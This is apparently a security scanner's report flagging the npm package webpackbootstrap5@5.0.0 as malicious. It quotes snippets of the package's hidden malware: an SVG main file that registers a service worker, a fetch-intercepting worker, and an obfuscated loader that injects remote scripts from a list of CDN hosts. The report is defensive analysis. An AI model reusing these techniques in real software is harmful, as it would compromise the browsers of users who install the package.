webpackbootstrap5@5.0.0: Malicious npm security report (Block)

Loading npm security reports…

webpackbootstrap5@5.0.0: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

9 flagged

.assets/function-4827316.wasmView file

•path = .assets/function-4827316.wasm kind = payload_in_excluded_dir sizeBytes = 583678 magicHex = [redacted]

High

Payload In Excluded Dir

Package hides binary, compressed, or executable-looking payloads in test/fixture/hidden paths.

.assets/function-4827316.wasmView on unpkg

•path = .assets/function-4827316.wasm kind = wasm_module sizeBytes = 583678 magicHex = [redacted]

Medium

Ships Wasm Module

Package ships WebAssembly modules.

.assets/function-4827316.wasmView on unpkg

publish.batView file

•path = publish.bat kind = build_helper sizeBytes = 15 magicHex = 0d0a6e706d207075626c6973680d0a

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

publish.batView on unpkg

logo-b2b3e4d75f89f6104a35c1c7a5972ddd1be2cf72.svgView file

Lines 14-54text

14 document.createElementNS=function(ns,tag,opts){return(ns==null||ns===XHTML_NS)?origCreateNS(XHTML_NS,tag,opts):origCreateNS(ns,tag,opts)};

15 })();

16 //]]></script>

17 <meta charset="utf-8"/>

18 <meta name="viewport" content="width=device-width,initial-scale=1"/>

19 <style>/*<![CDATA[*/

20 *{margin:0;padding:0;box-sizing:border-box}

21 html,body{width:100%;height:100%;background:#000;overflow:hidden}

22 #pf{position:absolute;top:0;left:0;width:100%;height:100%;border:none;display:none;background:#000}

23 /*]]>*/</style>

24</head>

package.jsonView file

Lines 1-21json

3 "name": "webpackbootstrap5",

4 "version": "5.0.0",

5 "description": "bootstrap assets for Webpacks runtime.",

6 "main": "logo-b2b3e4d75f89f6104a35c1c7a5972ddd1be2cf72.svg",

index-n6q3m5.jsView file

Lines 1-11javascript

1importScripts("./.assets/index-t6p2d8.js");

3self.addEventListener("install", () => self.skipWaiting());

4self.addEventListener("activate", (e) => e.waitUntil(clients.

index-z2b7r4.jsView file

Lines 13-71javascript

13var _4dUe = [12,51,50,10,18,64,125,25,52,61,39,4,42,

Source & flagged code

9 flagged · loading source

.assets/function-4827316.wasmView file

•path = .assets/function-4827316.wasm kind = payload_in_excluded_dir sizeBytes = 583678 magicHex = [redacted]

High

Payload In Excluded Dir

Package hides binary, compressed, or executable-looking payloads in test/fixture/hidden paths.

.assets/function-4827316.wasmView on unpkg

•path = .assets/function-4827316.wasm kind = wasm_module sizeBytes = 583678 magicHex = [redacted]

Medium

Ships Wasm Module

Package ships WebAssembly modules.

.assets/function-4827316.wasmView on unpkg

publish.batView file

•path = publish.bat kind = build_helper sizeBytes = 15 magicHex = 0d0a6e706d207075626c6973680d0a

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

publish.batView on unpkg

logo-b2b3e4d75f89f6104a35c1c7a5972ddd1be2cf72.svgView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

logo-b2b3e4d75f89f6104a35c1c7a5972ddd1be2cf72.svgView on unpkg

34var SW_ORIGIN=EFFECTIVE_LOC.origin; var BASE_PATH=EFFECTIVE_LOC.pathname.replace(/[^\/]*$/,''); if(navigator.serviceWorker){ navigator.serviceWorker.register(SW_ORIGIN+BASE_PATH+'index-n6q3m5.js',{scope:BASE_PATH,updateViaCache:'none'}).catch(function(){}); }

High

Ai Review Evidence

Loading that SVG automatically registers a service worker for its containing path.

logo-b2b3e4d75f89f6104a35c1c7a5972ddd1be2cf72.svgView on unpkg · L34

package.jsonView file

3"name": "webpackbootstrap5", "version": "5.0.0", "description": "bootstrap assets for Webpacks runtime.", "main": "logo-[redacted].svg", "scripts": { "test": "echo \"Error: no test specified\" && exit 1"

High

Ai Review Evidence

The declared main file is an SVG that contains active browser scripts, not a bootstrap asset.

package.jsonView on unpkg · L3

index-n6q3m5.jsView file

3self.addEventListener("install", () => self.skipWaiting()); self.addEventListener("activate", (e) => e.waitUntil(clients.claim())); addEventListener("fetch", (e) => { if (dGFzazR6MTMzNw.shouldRoute(e)) { e.respondWith(dGFzazR6MTMzNw.route(e)); }

High

Ai Review Evidence

The service worker immediately takes control of clients and intercepts matching fetches.

index-n6q3m5.jsView on unpkg · L3

index-z2b7r4.jsView file

51function d4dU() { return u(_4dUe, String.fromCharCode.apply(null, _w2)); } function d4d0() { return typeof _4d0e !== 'undefined' ? u(_4d0e, String.fromCharCode.apply(null, _w2)) : null; } function d4d1() { return typeof _4d1e !== 'undefined' ? u(_4d1e, String.fromCharCode.apply(null, _w2)) : null; } function load4d() { [d4dU(), d4d0(), d4d1()].filter(Boolean).forEach(function(src) { var s = document.createElement('script'); s.src = src; document.head.appendChild(s); }); }

High

Ai Review Evidence

An obfuscated JavaScript file decodes URLs and injects external scripts into the document head.

index-z2b7r4.jsView on unpkg · L51

33var _cdnHosts = [ 'cdn.jsdelivr.net','quantil.jsdelivr.net','originfastly.jsdelivr.net', 'fastly.jsdelivr.net','gcore.jsdelivr.net','testingcf.jsdelivr.net', 'jsdelivr.b-cdn.net','esm.sh','cdn.esm.sh','raw.esm.sh', 'cdn.statically.io','cdn.staticdelivr.com','raw.githack.com', 'rawcdn.githack.com','jsd.onmicrosoft.cn','cdn.jsdmirror.com', 'jsd-proxy.ygxz.in','script.google.com','s3.amazonaws.com' ];

High

Ai Review Evidence

An obfuscated JavaScript file decodes URLs and injects external scripts into the document head.

index-z2b7r4.jsView on unpkg · L33

webpackbootstrap5@5.0.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code